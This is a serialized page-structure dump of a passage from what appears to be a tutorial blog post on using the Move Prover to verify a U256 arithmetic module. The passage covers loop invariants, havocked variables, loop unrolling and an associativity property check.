package",{"type":23,"tag":504,"props":12902,"children":12903},{"style":6297},[12904],{"type":29,"value":12419},{"type":23,"tag":504,"props":12906,"children":12907},{"style":5139},[12908],{"type":29,"value":12909},"u256",{"type":23,"tag":504,"props":12911,"children":12912},{"style":6297},[12913],{"type":29,"value":12428},{"type":23,"tag":504,"props":12915,"children":12916},{"style":5058},[12917],{"type":29,"value":12918}," in 9.143s\n",{"type":23,"tag":504,"props":12920,"children":12921},{"class":5016,"line":5821},[12922],{"type":23,"tag":504,"props":12923,"children":12924},{"style":5058},[12925],{"type":29,"value":12926},"{\n",{"type":23,"tag":504,"props":12928,"children":12929},{"class":5016,"line":5851},[12930,12935,12939],{"type":23,"tag":504,"props":12931,"children":12932},{"style":5139},[12933],{"type":29,"value":12934},"    \"Error\"",{"type":23,"tag":504,"props":12936,"children":12937},{"style":5139},[12938],{"type":29,"value":6533},{"type":23,"tag":504,"props":12940,"children":12941},{"style":6297},[12942],{"type":29,"value":12943}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":504,"props":12945,"children":12946},{"class":5016,"line":5859},[12947],{"type":23,"tag":504,"props":12948,"children":12949},{"style":5058},[12950],{"type":29,"value":5965},{"type":23,"tag":32,"props":12952,"children":12953},{},[12954,12956,12961],{"type":29,"value":12955},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":154,"props":12957,"children":12959},{"className":12958},[],[12960],{"type":29,"value":10370},{"type":29,"value":12962}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":32,"props":12964,"children":12965},{},[12966,12968,12974],{"type":29,"value":12967},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":154,"props":12969,"children":12971},{"className":12970},[],[12972],{"type":29,"value":12973},"ret havocked and reassigned",{"type":29,"value":357},{"type":23,"tag":32,"props":12976,"children":12977},{},[12978],{"type":29,"value":12979},"What does this mean?",{"type":23,"tag":32,"props":12981,"children":12982},{},[12983,12985,12992],{"type":29,"value":12984},"By diving into the Move Prover source, we find a ",{"type":23,"tag":68,"props":12986,"children":12989},{"href":12987,"rel":12988},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[72],[12990],{"type":29,"value":12991},"likely suspect",{"type":29,"value":12993},". The prover attempts to prove all loops with induction!",{"type":23,"tag":32,"props":12995,"children":12996},{},[12997],{"type":29,"value":12998},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":139,"props":13000,"children":13001},{},[13002,13007],{"type":23,"tag":143,"props":13003,"children":13004},{},[13005],{"type":29,"value":13006},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":143,"props":13008,"children":13009},{},[13010],{"type":29,"value":13011},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":32,"props":13013,"children":13014},{},[13015,13017,13022,13024,13030,13031,13037,13038,13043,13045,13050],{"type":29,"value":13016},"The loop prover will also ",{"type":23,"tag":38,"props":13018,"children":13019},{},[13020],{"type":29,"value":13021},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":13023},". Going back to the log message, this implies that the variables ",{"type":23,"tag":154,"props":13025,"children":13027},{"className":13026},[],[13028],{"type":29,"value":13029},"carry",{"type":29,"value":4367},{"type":23,"tag":154,"props":13032,"children":13034},{"className":13033},[],[13035],{"type":29,"value":13036},"ret",{"type":29,"value":4478},{"type":23,"tag":154,"props":13039,"children":13041},{"className":13040},[],[13042],{"type":29,"value":578},{"type":29,"value":13044}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":154,"props":13046,"children":13048},{"className":13047},[],[13049],{"type":29,"value":11684},{"type":29,"value":13051}," makes no sense.",{"type":23,"tag":32,"props":13053,"children":13054},{},[13055],{"type":29,"value":13056},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":139,"props":13058,"children":13059},{},[13060,13065,13070,13075,13080,13085],{"type":23,"tag":143,"props":13061,"children":13062},{},[13063],{"type":29,"value":13064},"Assert the loop invariant",{"type":23,"tag":143,"props":13066,"children":13067},{},[13068],{"type":29,"value":13069},"Havoc all modified variables",{"type":23,"tag":143,"props":13071,"children":13072},{},[13073],{"type":29,"value":13074},"Assume the loop invariant",{"type":23,"tag":143,"props":13076,"children":13077},{},[13078],{"type":29,"value":13079},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":143,"props":13081,"children":13082},{},[13083],{"type":29,"value":13084},"Run the loop body",{"type":23,"tag":143,"props":13086,"children":13087},{},[13088],{"type":29,"value":13064},{"type":23,"tag":32,"props":13090,"children":13091},{},[13092],{"type":29,"value":13093},"There are two approaches to dealing with loops.",{"type":23,"tag":32,"props":13095,"children":13096},{},[13097],{"type":29,"value":13098},"The first would be to specify a loop invariant.",{"type":23,"tag":32,"props":13100,"children":13101},{},[13102,13104,13111],{"type":29,"value":13103},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":68,"props":13105,"children":13108},{"href":13106,"rel":13107},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[72],[13109],{"type":29,"value":13110},"previous post",{"type":29,"value":357},{"type":23,"tag":4743,"props":13113,"children":13115},{"code":13114,"language":5008,"meta":7,"className":5009,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[13116],{"type":23,"tag":154,"props":13117,"children":13118},{"__ignoreMap":7},[13119,13131,13142,13178,13201,13284,13291,13315,13323,13343,13363,13454,13461,13489],{"type":23,"tag":504,"props":13120,"children":13121},{"class":5016,"line":5017},[13122,13127],{"type":23,"tag":504,"props":13123,"children":13124},{"style":5067},[13125],{"type":29,"value":13126},"  while",{"type":23,"tag":504,"props":13128,"children":13129},{"style":5058},[13130],{"type":29,"value":10578},{"type":23,"tag":504,"props":13132,"children":13133},{"class":5016,"line":4868},[13134,13138],{"type":23,"tag":504,"props":13135,"children":13136},{"style":5041},[13137],{"type":29,"value":10974},{"type":23,"tag":504,"props":13139,"children":13140},{"style":5058},[13141],{"type":29,"value":5333},{"type":23,"tag":504,"props":13143,"children":13144},{"class":5016,"line":4876},[13145,13150,13154,13158,13162,13166,13170,13174],{"type":23,"tag":504,"props":13146,"children":13147},{"style":5041},[13148],{"type":29,"value":13149},"          invariant",{"type":23,"tag":504,"props":13151,"children":13152},{"style":5139},[13153],{"type":29,"value":10603},{"type":23,"tag":504,"props":13155,"children":13156},{"style":5058},[13157],{"type":29,"value":603},{"type":23,"tag":504,"props":13159,"children":13160},{"style":5041},[13161],{"type":29,"value":10612},{"type":23,"tag":504,"props":13163,"children":13164},{"style":5058},[13165],{"type":29,"value":5128},{"type":23,"tag":504,"props":13167,"children":13168},{"style":5047},[13169],{"type":29,"value":1224},{"type":23,"tag":504,"props":13171,"children":13172},{"style":5041},[13173],{"type":29,"value":5446},{"type":23,"tag":504,"props":13175,"children":13176},{"style":5058},[13177],{"type":29,"value":5061},{"type":23,"tag":504,"props":13179,"children":13180},{"class":5016,"line":5099},[13181,13185,13189,13193,13197],{"type":23,"tag":504,"props":13182,"children":13183},{"style":5041},[13184],{"type":29,"value":13149},{"type":23,"tag":504,"props":13186,"children":13187},{"style":5041},[13188],{"type":29,"value":5446},{"type":23,"tag":504,"props":13190,"children":13191},{"style":5047},[13192],{"type":29,"value":10242},{"type":23,"tag":504,"props":13194,"children":13195},{"style":5041},[13196],{"type":29,"value":10532},{"type":23,"tag":504,"props":13198,"children":13199},{"style":5058},[13200],{"type":29,"value":5061},{"type":23,"tag":504,"props":13202,"children":13203},{"class":5016,"line":5203},[13204,13208,13212,13216,13220,13224,13228,13232,13236,13240,13244,13248,13252,13256,13260,13264,13268,13272,13276,13280],{"type":23,"tag":504,"props":13205,"children":13206},{"style":5041},[13207],{"type":29,"value":13149},{"type":23,"tag":504,"props":13209,"children":13210},{"style":5041},[13211],{"type":29,"value":10663},{"type":23,"tag":504,"props":13213,"children":13214},{"style":5041},[13215],{"type":29,"value":10668},{"type":23,"tag":504,"props":13217,"children":13218},{"style":5030},[13219],{"type":29,"value":5080},{"type":23,"tag":504,"props":13221,"children":13222},{"style":5083},[13223],{"type":29,"value":5086},{"type":23,"tag":504,"props":13225,"children":13226},{"style":5047},[13227],{"type":29,"value":5091},{"type":23,"tag":504,"props":13229,"children":13230},{"style":5041},[13231],{"type":29,"value":578},{"type":23,"tag":504,"props":13233,"children":13234},{"style":5047},[13235],{"type":29,"value":6533},{"type":23,"tag":504,"props":13237,"children":13238},{"style":5041},[13239],{"type":29,"value":10467},{"type":23,"tag":504,"props":13241,"children":13242},{"style":5058},[13243],{"type":29,"value":1380},{"type":23,"tag":504,"props":13245,"children":13246},{"style":5041},[13247],{"type":29,"value":10701},{"type":23,"tag":504,"props":13249,"children":13250},{"style":5058},[13251],{"type":29,"value":10706},{"type":23,"tag":504,"props":13253,"children":13254},{"style":5047},[13255],{"type":29,"value":1224},{"type":23,"tag":504,"props":13257,"children":13258},{"style":5041},[13259],{"type":29,"value":10715},{"type":23,"tag":504,"props":13261,"children":13262},{"style":5058},[13263],{"type":29,"value":1380},{"type":23,"tag":504,"props":13265,"children":13266},{"style":5041},[13267],{"type":29,"value":10701},{"type":23,"tag":504,"props":13269,"children":13270},{"style":5058},[13271],{"type":29,"value":10706},{"type":23,"tag":504,"props":13273,"children":13274},{"style":5047},[13275],{"type":29,"value":6613},{"type":23,"tag":504,"props":13277,"children":13278},{"style":5041},[13279],{"type":29,"value":10532},{"type":23,"tag":504,"props":13281,"children":13282},{"style":5058},[13283],{"type":29,"value":5061},{"type":23,"tag":504,"props":13285,"children":13286},{"class":5016,"line":5308},[13287],{"type":23,"tag":504,"props":13288,"children":13289},{"style":5058},[13290],{"type":29,"value":10966},{"type":23,"tag":504,"props":13292,"children":13293},{"class":5016,"line":5336},[13294,13299,13303,13307,13311],{"type":23,"tag":504,"props":13295,"children":13296},{"style":5058},[13297],{"type":29,"value":13298},"      (",{"type":23,"tag":504,"props":13300,"children":13301},{"style":5041},[13302],{"type":29,"value":578},{"type":23,"tag":504,"props":13304,"children":13305},{"style":5047},[13306],{"type":29,"value":10764},{"type":23,"tag":504,"props":13308,"children":13309},{"style":5041},[13310],{"type":29,"value":10532},{"type":23,"tag":504,"props":13312,"children":13313},{"style":5058},[13314],{"type":29,"value":5200},{"type":23,"tag":504,"props":13316,"children":13317},{"class":5016,"line":5349},[13318],{"type":23,"tag":504,"props":13319,"children":13320},{"style":5058},[13321],{"type":29,"value":13322},"  }) {\n",{"type":23,"tag":504,"props":13324,"children":13325},{"class":5016,"line":5367},[13326,13331,13335,13339],{"type":23,"tag":504,"props":13327,"children":13328},{"style":5058},[13329],{"type":29,"value":13330},"      vector",{"type":23,"tag":504,"props":13332,"children":13333},{"style":5047},[13334],{"type":29,"value":5530},{"type":23,"tag":504,"props":13336,"children":13337},{"style":5139},[13338],{"type":29,"value":10797},{"type":23,"tag":504,"props":13340,"children":13341},{"style":5058},[13342],{"type":29,"value":5512},{"type":23,"tag":504,"props":13344,"children":13345},{"class":5016,"line":5388},[13346,13351,13355,13359],{"type":23,"tag":504,"props":13347,"children":13348},{"style":5047},[13349],{"type":29,"value":13350},"          &",{"type":23,"tag":504,"props":13352,"children":13353},{"style":5030},[13354],{"type":29,"value":5783},{"type":23,"tag":504,"props":13356,"children":13357},{"style":5041},[13358],{"type":29,"value":10467},{"type":23,"tag":504,"props":13360,"children":13361},{"style":5058},[13362],{"type":29,"value":5557},{"type":23,"tag":504,"props":13364,"children":13365},{"class":5016,"line":5397},[13366,13370,13374,13378,13382,13386,13390,13394,13398,13402,13406,13410,13414,13418,13422,13426,13430,13434,13438,13442,13446,13450],{"type":23,"tag":504,"props":13367,"children":13368},{"style":5058},[13369],{"type":29,"value":10755},{"type":23,"tag":504,"props":13371,"children":13372},{"style":5047},[13373],{"type":29,"value":6613},{"type":23,"tag":504,"props":13375,"children":13376},{"style":5058},[13377],{"type":29,"value":10838},{"type":23,"tag":504,"props":13379,"children":13380},{"style":5047},[13381],{"type":29,"value":5530},{"type":23,"tag":504,"props":13383,"children":13384},{"style":5139},[13385],{"type":29,"value":10847},{"type":23,"tag":504,"props":13387,"children":13388},{"style":5058},[13389],{"type":29,"value":603},{"type":23,"tag":504,"props":13391,"children":13392},{"style":5047},[13393],{"type":29,"value":5151},{"type":23,"tag":504,"props":13395,"children":13396},{"style":5041},[13397],{"type":29,"value":10412},{"type":23,"tag":504,"props":13399,"children":13400},{"style":5058},[13401],{"type":29,"value":10864},{"type":23,"tag":504,"props":13403,"children":13404},{"style":5041},[13405],{"type":29,"value":578},{"type":23,"tag":504,"props":13407,"children":13408},{"style":5030},[13409],{"type":29,"value":10873},{"type":23,"tag":504,"props":13411,"children":13412},{"style":5467},[13413],{"type":29,"value":7905},{"type":23,"tag":504,"props":13415,"children":13416},{"style":5058},[13417],{"type":29,"value":10882},{"type":23,"tag":504,"props":13419,"children":13420},{"style":5030},[13421],{"type":29,"value":10887},{"type":23,"tag":504,"props":13423,"children":13424},{"style":5467},[13425],{"type":29,"value":10892},{"type":23,"tag":504,"props":13427,"children":13428},{"style":5058},[13429],{"type":29,"value":5128},{"type":23,"tag":504,"props":13431,"children":13432},{"style":5047},[13433],{"type":29,"value":6613},{"type":23,"tag":504,"props":13435,"children":13436},{"style":5058},[13437],{"type":29,"value":5110},{"type":23,"tag":504,"props":13439,"children":13440},{"style":5041},[13441],{"type":29,"value":10909},{"type":23,"tag":504,"props":13443,"children":13444},{"style":5030},[13445],{"type":29,"value":10873},{"type":23,"tag":504,"props":13447,"children":13448},{"style":5467},[13449],{"type":29,"value":10892},{"type":23,"tag":504,"props":13451,"children":13452},{"style":5058},[13453],{"type":29,"value":5200},{"type":23,"tag":504,"props":13455,"children":13456},{"class":5016,"line":5649},[13457],{"type":23,"tag":504,"props":13458,"children":13459},{"style":5058},[13460],{"type":29,"value":8810},{"type":23,"tag":504,"props":13462,"children":13463},{"class":5016,"line":5666},[13464,13469,13473,13477,13481,13485],{"type":23,"tag":504,"props":13465,"children":13466},{"style":5041},[13467],{"type":29,"value":13468},"      i",{"type":23,"tag":504,"props":13470,"children":13471},{"style":5047},[13472],{"type":29,"value":5050},{"type":23,"tag":504,"props":13474,"children":13475},{"style":5041},[13476],{"type":29,"value":5446},{"type":23,"tag":504,"props":13478,"children":13479},{"style":5047},[13480],{"type":29,"value":10950},{"type":23,"tag":504,"props":13482,"children":13483},{"style":5083},[13484],{"type":29,"value":6565},{"type":23,"tag":504,"props":13486,"children":13487},{"style":5058},[13488],{"type":29,"value":5061},{"type":23,"tag":504,"props":13490,"children":13491},{"class":5016,"line":5683},[13492],{"type":23,"tag":504,"props":13493,"children":13494},{"style":5058},[13495],{"type":29,"value":13496},"  };\n",{"type":23,"tag":32,"props":13498,"children":13499},{},[13500,13502,13508,13510,13515,13517,13523],{"type":29,"value":13501},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":154,"props":13503,"children":13505},{"className":13504},[],[13506],{"type":29,"value":13507},"while",{"type":29,"value":13509}," loop. Note that because the loop invariant executes ",{"type":23,"tag":4321,"props":13511,"children":13512},{},[13513],{"type":29,"value":13514},"after",{"type":29,"value":13516}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":154,"props":13518,"children":13520},{"className":13519},[],[13521],{"type":29,"value":13522},"i \u003C= n_coins",{"type":29,"value":357},{"type":23,"tag":4743,"props":13525,"children":13527},{"code":13526,"language":5008,"meta":7,"className":5009,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[13528],{"type":23,"tag":154,"props":13529,"children":13530},{"__ignoreMap":7},[13531,13542,13553,13588,13611,13694,13701,13724],{"type":23,"tag":504,"props":13532,"children":13533},{"class":5016,"line":5017},[13534,13538],{"type":23,"tag":504,"props":13535,"children":13536},{"style":5067},[13537],{"type":29,"value":13126},{"type":23,"tag":504,"props":13539,"children":13540},{"style":5058},[13541],{"type":29,"value":10578},{"type":23,"tag":504,"props":13543,"children":13544},{"class":5016,"line":4868},[13545,13549],{"type":23,"tag":504,"props":13546,"children":13547},{"style":5041},[13548],{"type":29,"value":10974},{"type":23,"tag":504,"props":13550,"children":13551},{"style":5058},[13552],{"type":29,"value":5333},{"type":23,"tag":504,"props":13554,"children":13555},{"class":5016,"line":4876},[13556,13560,13564,13568,13572,13576,13580,13584],{"type":23,"tag":504,"props":13557,"children":13558},{"style":5041},[13559],{"type":29,"value":13149},{"type":23,"tag":504,"props":13561,"children":13562},{"style":5139},[13563],{"type":29,"value":10603},{"type":23,"tag":504,"props":13565,"children":13566},{"style":5058},[13567],{"type":29,"value":603},{"type":23,"tag":504,"props":13569,"children":13570},{"style":5041},[13571],{"type":29,"value":10612},{"type":23,"tag":504,"props":13573,"children":13574},{"style":5058},[13575],{"type":29,"value":5128},{"type":23,"tag":504,"props":13577,"children":13578},{"style":5047},[13579],{"type":29,"value":1224},{"type":23,"tag":504,"props":13581,"children":13582},{"style":5041},[13583],{"type":29,"value":5446},{"type":23,"tag":504,"props":13585,"children":13586},{"style":5058},[13587],{"type":29,"value":5061},{"type":23,"tag":504,"props":13589,"children":13590},{"class":5016,"line":5099},[13591,13595,13599,13603,13607],{"type":23,"tag":504,"props":13592,"children":13593},{"style":5041},[13594],{"type":29,"value":13149},{"type":23,"tag":504,"props":13596,"children":13597},{"style":5041},[13598],{"type":29,"value":5446},{"type":23,"tag":504,"props":13600,"children":13601},{"style":5047},[13602],{"type":29,"value":10242},{"type":23,"tag":504,"props":13604,"children":13605},{"style":5041},[13606],{"type":29,"value":10532},{"type":23,"tag":504,"props":13608,"children":13609},{"style":5058},[13610],{"type":29,"value":5061},{"type":23,"tag":504,"props":13612,"children":13613},{"class":5016,"line":5203},[13614,13618,13622,13626,13630,13634,13638,13642,13646,13650,13654,13658,13662,13666,13670,13674,13678,13682,13686,13690],{"type":23,"tag":504,"props":13615,"children":13616},{"style":5041},[13617],{"type":29,"value":13149},{"type":23,"tag":504,"props":13619,"children":13620},{"style":5041},[13621],{"type":29,"value":10663},{"type":23,"tag":504,"props":13623,"children":13624},{"style":5041},[13625],{"type":29,"value":10668},{"type":23,"tag":504,"props":13627,"children":13628},{"style":5030},[13629],{"type":29,"value":5080},{"type":23,"tag":504,"props":13631,"children":13632},{"style":5083},[13633],{"type":29,"value":5086},{"type":23,"tag":504,"props":13635,"children":13636},{"style":5047},[13637],{"type":29,"value":5091},{"type":23,"tag":504,"props":13639,"children":13640},{"style":5041},[13641],{"type":29,"value":578},{"type":23,"tag":504,"props":13643,"children":13644},{"style":5047},[13645],{"type":29,"value":6533},{"type":23,"tag":504,"props":13647,"children":13648},{"style":5041},[13649],{"type":29,"value":10467},{"type":23,"tag":504,"props":13651,"children":13652},{"style":5058},[13653],{"type":29,"value":1380},{"type":23,"tag":504,"props":13655,"children":13656},{"style":5041},[13657],{"type":29,"value":10701},{"type":23,"tag":504,"props":13659,"children":13660},{"style":5058},[13661],{"type":29,"value":10706},{"type":23,"tag":504,"props":13663,"children":13664},{"style":5047},[13665],{"type":29,"value":1224},{"type":23,"tag":504,"props":13667,"children":13668},{"style":5041},[13669],{"type":29,"value":10715},{"type":23,"tag":504,"props":13671,"children":13672},{"style":5058},[13673],{"type":29,"value":1380},{"type":23,"tag":504,"props":13675,"children":13676},{"style":5041},[13677],{"type":29,"value":10701},{"type":23,"tag":504,"props":13679,"children":13680},{"style":5058},[13681],{"type":29,"value":10706},{"type":23,"tag":504,"props":13683,"children":13684},{"style":5047},[13685],{"type":29,"value":6613},{"type":23,"tag":504,"props":13687,"children":13688},{"style":5041},[13689],{"type":29,"value":10532},{"type":23,"tag":504,"props":13691,"children":13692},{"style":5058},[13693],{"type":29,"value":5061},{"type":23,"tag":504,"props":13695,"children":13696},{"class":5016,"line":5308},[13697],{"type":23,"tag":504,"props":13698,"children":13699},{"style":5058},[13700],{"type":29,"value":10966},{"type":23,"tag":504,"props":13702,"children":13703},{"class":5016,"line":5336},[13704,13708,13712,13716,13720],{"type":23,"tag":504,"props":13705,"children":13706},{"style":5058},[13707],{"type":29,"value":13298},{"type":23,"tag":504,"props":13709,"children":13710},{"style":5041},[13711],{"type":29,"value":578},{"type":23,"tag":504,"props":13713,"children":13714},{"style":5047},[13715],{"type":29,"value":10764},{"type":23,"tag":504,"props":13717,"children":13718},{"style":5041},[13719],{"type":29,"value":10532},{"type":23,"tag":504,"props":13721,"children":13722},{"style":5058},[13723],{"type":29,"value":5200},{"type":23,"tag":504,"props":13725,"children":13726},{"class":5016,"line":5349},[13727],{"type":23,"tag":504,"props":13728,"children":13729},{"style":5058},[13730],{"type":29,"value":13322},{"type":23,"tag":32,"props":13732,"children":13733},{},[13734],{"type":29,"value":13735},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":32,"props":13737,"children":13738},{},[13739,13741,13746],{"type":29,"value":13740},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":154,"props":13742,"children":13744},{"className":13743},[],[13745],{"type":29,"value":11684},{"type":29,"value":13747}," function will always iterate exactly 4 times:",{"type":23,"tag":4743,"props":13749,"children":13751},{"code":13750,"language":5008,"meta":7,"className":5009,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[13752],{"type":23,"tag":154,"props":13753,"children":13754},{"__ignoreMap":7},[13755,13763,13796,13803,13819,13826,13850,13874,13919,13963,13970],{"type":23,"tag":504,"props":13756,"children":13757},{"class":5016,"line":5017},[13758],{"type":23,"tag":504,"props":13759,"children":13760},{"style":5021},[13761],{"type":29,"value":13762},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":504,"props":13764,"children":13765},{"class":5016,"line":4868},[13766,13770,13775,13779,13783,13787,13792],{"type":23,"tag":504,"props":13767,"children":13768},{"style":5030},[13769],{"type":29,"value":11701},{"type":23,"tag":504,"props":13771,"children":13772},{"style":5058},[13773],{"type":29,"value":13774}," WORDS",{"type":23,"tag":504,"props":13776,"children":13777},{"style":5047},[13778],{"type":29,"value":6533},{"type":23,"tag":504,"props":13780,"children":13781},{"style":5467},[13782],{"type":29,"value":7905},{"type":23,"tag":504,"props":13784,"children":13785},{"style":5047},[13786],{"type":29,"value":5050},{"type":23,"tag":504,"props":13788,"children":13789},{"style":5083},[13790],{"type":29,"value":13791}," 4",{"type":23,"tag":504,"props":13793,"children":13794},{"style":5058},[13795],{"type":29,"value":5061},{"type":23,"tag":504,"props":13797,"children":13798},{"class":5016,"line":4876},[13799],{"type":23,"tag":504,"props":13800,"children":13801},{"emptyLinePlaceholder":15},[13802],{"type":29,"value":5734},{"type":23,"tag":504,"props":13804,"children":13805},{"class":5016,"line":5099},[13806,13810,13814],{"type":23,"tag":504,"props":13807,"children":13808},{"style":5058},[13809],{"type":29,"value":1380},{"type":23,"tag":504,"props":13811,"children":13812},{"style":5047},[13813],{"type":29,"value":853},{"type":23,"tag":504,"props":13815,"children":13816},{"style":5058},[13817],{"type":29,"value":13818},"]\n",{"type":23,"tag":504,"props":13820,"children":13821},{"class":5016,"line":5203},[13822],{"type":23,"tag":504,"props":13823,"children":13824},{"emptyLinePlaceholder":15},[13825],{"type":29,"value":5734},{"type":23,"tag":504,"props":13827,"children":13828},{"class":5016,"line":5308},[13829,13834,13838,13842,13846],{"type":23,"tag":504,"props":13830,"children":13831},{"style":5030},[13832],{"type":29,"value":13833},"let",{"type":23,"tag":504,"props":13835,"children":13836},{"style":5041},[13837],{"type":29,"value":5446},{"type":23,"tag":504,"props":13839,"children":13840},{"style":5047},[13841],{"type":29,"value":5050},{"type":23,"tag":504,"props":13843,"children":13844},{"style":5083},[13845],{"type":29,"value":5086},{"type":23,"tag":504,"props":13847,"children":13848},{"style":5058},[13849],{"type":29,"value":5061},{"type":23,"tag":504,"props":13851,"children":13852},{"class":5016,"line":5336},[13853,13857,13861,13865,13869],{"type":23,"tag":504,"props":13854,"children":13855},{"style":5067},[13856],{"type":29,"value":13507},{"type":23,"tag":504,"props":13858,"children":13859},{"style":5058},[13860],{"type":29,"value":5110},{"type":23,"tag":504,"props":13862,"children":13863},{"style":5041},[13864],{"type":29,"value":578},{"type":23,"tag":504,"props":13866,"children":13867},{"style":5047},[13868],{"type":29,"value":10764},{"type":23,"tag":504,"props":13870,"children":13871},{"style":5058},[13872],{"type":29,"value":13873}," WORDS) {\n",{"type":23,"tag":504,"props":13875,"children":13876},{"class":5016,"line":5349},[13877,13881,13886,13890,13895,13899,13903,13907,13911,13915],{"type":23,"tag":504,"props":13878,"children":13879},{"style":5030},[13880],{"type":29,"value":5033},{"type":23,"tag":504,"props":13882,"children":13883},{"style":5041},[13884],{"type":29,"value":13885}," a1",{"type":23,"tag":504,"props":13887,"children":13888},{"style":5047},[13889],{"type":29,"value":5050},{"type":23,"tag":504,"props":13891,"children":13892},{"style":5139},[13893],{"type":29,"value":13894}," get",{"type":23,"tag":504,"props":13896,"children":13897},{"style":5058},[13898],{"type":29,"value":603},{"type":23,"tag":504,"props":13900,"children":13901},{"style":5047},[13902],{"type":29,"value":5151},{"type":23,"tag":504,"props":13904,"children":13905},{"style":5041},[13906],{"type":29,"value":68},{"type":23,"tag":504,"props":13908,"children":13909},{"style":5058},[13910],{"type":29,"value":4367},{"type":23,"tag":504,"props":13912,"children":13913},{"style":5041},[13914],{"type":29,"value":578},{"type":23,"tag":504,"props":13916,"children":13917},{"style":5058},[13918],{"type":29,"value":5888},{"type":23,"tag":504,"props":13920,"children":13921},{"class":5016,"line":5367},[13922,13926,13931,13935,13939,13943,13947,13951,13955,13959],{"type":23,"tag":504,"props":13923,"children":13924},{"style":5030},[13925],{"type":29,"value":5033},{"type":23,"tag":504,"props":13927,"children":13928},{"style":5041},[13929],{"type":29,"value":13930}," b1",{"type":23,"tag":504,"props":13932,"children":13933},{"style":5047},[13934],{"type":29,"value":5050},{"type":23,"tag":504,"props":13936,"children":13937},{"style":5139},[13938],{"type":29,"value":13894},{"type":23,"tag":504,"props":13940,"children":13941},{"style":5058},[13942],{"type":29,"value":603},{"type":23,"tag":504,"props":13944,"children":13945},{"style":5047},[13946],{"type":29,"value":5151},{"type":23,"tag":504,"props":13948,"children":13949},{"style":5041},[13950],{"type":29,"value":3003},{"type":23,"tag":504,"props":13952,"children":13953},{"style":5058},[13954],{"type":29,"value":4367},{"type":23,"tag":504,"props":13956,"children":13957},{"style":5041},[13958],{"type":29,"value":578},{"type":23,"tag":504,"props":13960,"children":13961},{"style":5058},[13962],{"type":29,"value":5888},{"type":23,"tag":504,"props":13964,"children":13965},{"class":5016,"line":5388},[13966],{"type":23,"tag":504,"props":13967,"children":13968},{"emptyLinePlaceholder":15},[13969],{"type":29,"value":5734},{"type":23,"tag":504,"props":13971,"children":13972},{"class":5016,"line":5397},[13973,13977,13981],{"type":23,"tag":504,"props":13974,"children":13975},{"style":5058},[13976],{"type":29,"value":1380},{"type":23,"tag":504,"props":13978,"children":13979},{"style":5047},[13980],{"type":29,"value":853},{"type":23,"tag":504,"props":13982,"children":13983},{"style":5058},[13984],{"type":29,"value":13818},{"type":23,"tag":32,"props":13986,"children":13987},{},[13988],{"type":29,"value":13989},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":4743,"props":13991,"children":13993},{"code":13992},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[13994],{"type":23,"tag":154,"props":13995,"children":13996},{"__ignoreMap":7},[13997],{"type":29,"value":13992},{"type":23,"tag":32,"props":13999,"children":14000},{},[14001,14003,14008,14009,14015],{"type":29,"value":14002},"For the ",{"type":23,"tag":38,"props":14004,"children":14005},{},[14006],{"type":29,"value":14007},"Associative Property",{"type":29,"value":5110},{"type":23,"tag":154,"props":14010,"children":14012},{"className":14011},[],[14013],{"type":29,"value":14014},"a+(b+c) = (a+b)+c",{"type":29,"value":14016},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":4743,"props":14018,"children":14020},{"code":14019,"language":5008,"meta":7,"className":5009,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[14021],{"type":23,"tag":154,"props":14022,"children":14023},{"__ignoreMap":7},[14024,14101,14140,14181,14220,14261,14268,14318,14358],{"type":23,"tag":504,"props":14025,"children":14026},{"class":5016,"line":5017},[14027,14031,14036,14040,14044,14048,14052,14056,14060,14064,14068,14072,14076,14080,14084,14088,14092,14097],{"type":23,"tag":504,"props":14028,"children":14029},{"style":5041},[14030],{"type":29,"value":9151},{"type":23,"tag":504,"props":14032,"children":14033},{"style":5139},[14034],{"type":29,"value":14035}," 